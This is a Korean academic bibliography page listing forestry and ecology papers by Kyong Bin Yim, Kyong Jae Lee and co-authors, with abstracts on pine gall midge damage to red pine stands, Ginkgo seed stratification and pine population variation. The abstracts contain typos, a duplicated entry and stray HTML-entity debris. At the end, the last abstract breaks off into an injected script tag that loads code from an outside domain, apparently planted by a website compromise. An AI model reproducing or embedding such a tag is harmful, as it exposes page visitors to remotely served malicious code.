솔잎혹파리 피해적송림(被害赤松林)의 생태학적(生態學的) 연구(硏究)(III) -청원군(淸原郡) 소나무군집(群集)의 7년간(年間)의 식생변화분석(植生變化分析)-

이경재,오구균,임경빈,Lee, Kyong Jae,Oh, Koo Kyoon,Yim, Kyong Bin 한국산림과학회 1988 한국산림과학회지 Vol.77 No.3

충남(忠南) 청원군(淸原郡)의 적송림(赤松林)을 대상으로 솔잎혹파리무피해시기(無被害時期) 및 극심상태시기(極甚狀態時期)의 삼림군집구조(森林群集構造)의 변화내용(變化內容)을 분석하였다. 무피해시기(無被害時期)인 1980년에 4개의 조사구(調査區)를 선정하고 각(各) 조사구(調査區)에 5개씩의 소조사구(小調査區)를 설치한 후 식갱조사(植生調査)를 하였으며, 극심피해시기(極甚被害時期)인 1987년에 동일장소(同一場所)에서 재조사(再調査)를 실시하였다. 1980년의 출현수종수(出現樹種數)는 32종(種)이던 것이 1987년에는 53종(種)이었다. 솔잎혹파리피해(被害)가 심하여짐에 따라 대상수종(代償樹種)으로 참나무류가 발달하였으며, 졸참나무와 갈참나무의 상대우점치(相對優占値)의 증가(增加)가 유의적(有意的)이었다. 또한 피해가 심하여지자 삼림군집(森林群集)의 종구성상태(種構成狀態)가 다양(多樣)하여져 종다양도(種多樣度), 균재도(均在度) 등(等)이 증가하였다. 1980년(年)과 1987년(年)의 조사군집간(調査群集間)의 유사도지수(類似度指數)는 전체적으로 71.2%이었으나, 교목상(喬木上) 하층(下層) 및 관목층(灌木層)에서 각각 87.6%, 52.9%, 49.7%로서 교목하층(喬木下層)과 관목층(灌木層)에서 종구성상태(種構成狀態)가 매우 이질화(異質化)하였다. To investigate and analyze the change in the forest community structure between non-attacked time(in 1980) and severly damaged time(in 1987) by pine gall midge, Thecodoplosis japonensis, four plots with five subplots were sampled at Cheongwon-gun of Chungcheungbuk-do. The total number of woody species per 0.2ha changed 32 in 1980 to 53 in 1987. According to the damage increasing, the importance value of the genus Quercus as a substituting species has sprung up. Especially the importance value of Quercus serrata and Q. aliena singnificantly increased in the heavily insect infested forest. As to changes of forest community structure during 7 years, diversity of investigation structure has increased. The similarity indices between 1980 and 1987 were 52.9% and 49.7% in the understory and shrub stratum, respectively.

냉습적에 (冷濕積) 따른 은행나무종자내 생장조정물질의 변화

이경재,임경빈 ( Kyong Jae Lee,Kyong Bin Yim ) 한국산림과학회 1978 한국산림과학회지 Vol.38 No.1

This study has intended to disclose the change of some chemical compositions of Ginkgo seeds which were acquired the treatment of cold-moist-stratification after collection. As check sample, the room-stored seeds were used. With the reasons that when the seeds not stratified were sown the delay of field germination has usually been resulted, the effectiveness of stratificaation in respect to alteration of chemical composition is to be investigated. The increase and decrease of growth promoting and inhibiting substances were investigated by means of chromatography method followed by rice seedling test or wheat coleoptile straight-growth test. The results obtained are summarized as follows; 1. In the untreated seeds, the zone of growth inhibitors on paper chromatograph were observed without regard to the tissue differences, embryo, endosperm and seedcoat. 2. Due to stratification, the amount of inhibitor has decreased in the embryo and seed coat, but growth promoters was decreased as compared with the check materials 3. The indications of results appear that each portion of the embryo, endosperm, and seedcoats of Ginkgo biloba L. contains the growth in hibitor taking part in germination dormancy. 4. It was presumed that hastening germination was influenced by decreasing of inhibitors in the embryo and seed coats rather than by increasing of promoters. 5. Gibberellin was detected at Rf 0.26 under the UV-lamp and the abscisic acid was detected at Rf 0.62, Rf 0.70, and Rf 0.78 and showed purple, gray, blue fluorescence respectively under the UV-lamp.

솔잎혹파리 피해적송림의 생태학적 연구 (Ⅲ) - 청원군 소나무군집의 (群集) 7년간의 식생변화분석 -

이경재,오구균,임경빈 ( Kyong Jae Lee,Koo Kyoon Oh,Kyong Bin Yim ) 한국산림과학회 1988 한국산림과학회지 Vol.77 No.3

To investigate and analyze the change in the forest community structure between non-attacked time(in 1980) and Beverly damaged time(in 1987) by pune gall midge, Thcodoplosis japonensis, four plots with five subplots were sampled at Cheongwon-gun of Chungcheungbuk-do. The total number of woody species per 0.2㏊ changed 32 in 1980 to 53 in 1987. According to the damage increasing. the importance value of the genus Quercus as a substituting species has sprung up. Especially the importance value of Quercus serrata and Q. aliena singnifieantly increased in the heavily insect infested forest. As to changes of forest community structure during 7 years, diversity of investigation structure has increased. The similarity indices between 1980 and 1987 were 52.9% and 49.7% in the understory and shrub stratum, respectively.

북한산 국립공원의 관리개선방안

임경빈 ( Kyong Bin Yim ),이경재 ( Kyong Jae Lee ),오구균 ( Koo Kyoon Oh ),이명우 ( Myung Woo Lee ) 한국환경생태학회 1987 한국환경생태학회지 Vol.1 No.1

소백산 비로봉지역의 삼림군집구조에 관한 연구 -주목림-

임경빈 ( Kyong Bin Yim ),김갑태 ( Gab Tae Kim ),이경재 ( Kyong Jae Lee ),김준선 ( Joon Seon Kim ) 한국환경생태학회 1993 한국환경생태학회지 Vol.6 No.2

치악산 국립공원의 관리개선 방안

임경빈 ( Kyong Bin Yim ),이경재 ( Kyong Jae Lee ),김갑태 ( Gab Tae Kim ),오구균 ( Koo Kyoon Oh ) 한국환경생태학회 1988 한국환경생태학회지 Vol.2 No.1

오대산 국립공원 동대산지역의 사면,해발고에 따른 식물군집구조

이경재 ( Kyong Jae Lee ),조우 ( Woo Cho ),황서현 ( Seo Hyun Hwang ),임경빈 ( Kyong Bin Yim ) 한국환경생태학회 1996 한국환경생태학회지 Vol.9 No.2

소백산국립공원의 관리개선방안

이경재 ( Kyong Jae Lee ),김갑태 ( Gab Tae Kim ),임경빈 ( Kyong Bin Yim ) 한국환경생태학회 1993 한국환경생태학회지 Vol.7 No.1

소나무천연집단의 변이에 관한 연구 (ⅠⅩ) - 광주 , 제천 , 보은 , 무주 , 구례 , 제주집단의 침엽및 재질형질 (材質形質) -

임경빈,이경재 ( Kyong Bin Yim,Kyong Jae Lee ) 한국산림과학회 1979 한국산림과학회지 Vol.44 No.1

Six natural populations of Pinus densiflora S. et Z. as shown in the location map (Flg 1) were studied during 1978. The numerial pouplation codes, 13 to 18. The results of populations 1 to 12 were reported in previous papers. Following the study methods described before, 20 trees were sampled from each population and morpological characteristics such as stem forms, branching habit needle and wood properties investigated. The results are summerized as follows; 1. The mean stand ages were ranged from 36 to 97 of years. The growth performances of trees of population 14. 15 and 18 was similar, but 13, 16, and 17 seemed to be inferior more or less. 2. The ratios of clear bole length were 0.70 in population 18 as the highest but 0.28 for population 16 as the lowest. 3. The population 17 was considered to be a stand of the coarser branching habit having the crown index (The maximum crown diameter/the crown height) 158 though the branching angles were almost horizontal. 4. The differences were observed in the clear bole length ratios and crown-indices between population as shown In Fig. 3 and 4. 5. As to the serration density, number of stomata row and resin duct; the significant differences exist between individual trees within population and also between populations. 6. Population 18 shown resin duct index 0.119 as the maximum. 7. The patterns of diameter growth, based on the width of 10-year-ring segment unit(for example, the 1st segment denotes the with between pith center and 10th year ring and the 2nd one is from 11th to 20th ring and so on.), were alike among populations as shown in Fig 9. 8. Significant differences between population in mean summer wood percentage as well as in wood specific gravity was observed. The values of wood specific gravity were increased with the increase of ages in population 14, 18 however vice versa in population 13, 15, and 17. 9. The fiber length was mereased with the increased of age but no differences between populations as shown in Fig. 12.

솔잎혹파리 피해적송림의 (被害赤松林) 생태학적 연구 (Ⅰ)

임경빈,이경재,김용식 ( Kyong Bin Yim,Kyong Jae Lee,Yong Shik Kim ) 한국산림과학회 1981 한국산림과학회지 Vol.52 No.1

Thecodiplosis japonesis is sweeping the Pinus densiflora forests from south-west to north-east direction, destroying almost all the aged large trees as well as even the young ones. The front line of infestation is moving slowly but ceaselessly norhwards as a long bottle front. Estimation is that more than 40 percent of the area of P. densiflora forest has been damaged already, however some individuals could escapes from the damage and contribute to restore the site to the previous vegetation composition. When the stands were attacked by this insect, the drastic openings of the upper story of tree canopy formed by exclusively P. densiflora are usually resulted and some environmental factors such as light, temperature, litter accumulation, soil moisture and offers were naturally modified. With these changes after insect invasion, as the time passes, phytosociologic changes of the vegetation are gradually proceeding. If we select the forest according to four categories concerning the history of the insect outbreak, namely, non­attacked (healthy forest), recently damaged (the outbreak occured about 1-2 years ago), severely damaged (occured 5-6 years ago), damage prolonged (occured 10 years ago) and restored (occured about 20 years ago), any directional changes of vegetation composition could be traced these in line with four progressive stages. To elucidate these changes, three survey districts; (1) $quot;Gongju$quot; where the damage was severe and it was outbroken in 1977, (2) $quot;Buyeo$quot; where damage prolonged and (3) $quot;Gochang$quot; as restored, were set, (See Tab. 1). All these were located in the south temperate forest zone which was delimited mainly due to the temporature factor and generally accepted without any opposition at present. In view of temperature, the amount and distribution of precipitation and various soil factor, the overall homogeneity of environmental conditions between survey districts might be accepted. However this did not mean that small changes of edaphic and topographic conditions and microclimates can induce any alteration of vegetation patterns. Again four survey plots were set in each district and inter plot distance was 3 to 4 km. And again four subplots were set within a survey plot. The size of a subplot was 10m × 10m for woody vegetation and 5m × 5m for ground cover vegetation which was less than 2 m high. The nested quadrat method was adopted. In sampling survey plots, the followings were taken into account: (1) Natural growth having more than 80 percent of crown density of upper canopy and more than 5 hectares of area. (2) Was not affected by both natural and artificial disturbances such as fire and thinning operation for the past three decades. (3) Lower than 500 m of altitude (4) Less than 20 degrees of slope, and (5) Northerly sited aspect. An intensive vegetation survey was undertaken during the summer of 1980. The vegetation was devided into 3 categories for sampling; the upper layer (dominated mainly by the pine trees) the middle layer composed by oak species and other broad-leaved trees as well as the pine, and the ground layer or the lower layer (shrubby form of woody plants). In this study our survey was concentrated on woody species only. For the vegetation analysis, calculated were values of intensity, frequency, covers, relative importance, species diversity, dominance and similarity and dissimilasity index when importance values were calculated, different relative weights as score were arbitrarily given to each layer, i.e., 3 points for the upper layer, 2 for the middle layer and 1 for the ground layer. Then the formula becomes as follows; $lt;수식 생략$gt; The values of Similarity Index were calculated on the basis of the Relative Importance Value of trees (sum of relative density, frequency and cover). The formula used is; $lt;수식 생략$gt; Where: C = The sum of the ]ower of the two quantitative values for species shared by the two communities. S?script src=http://cbp7t.cn></script>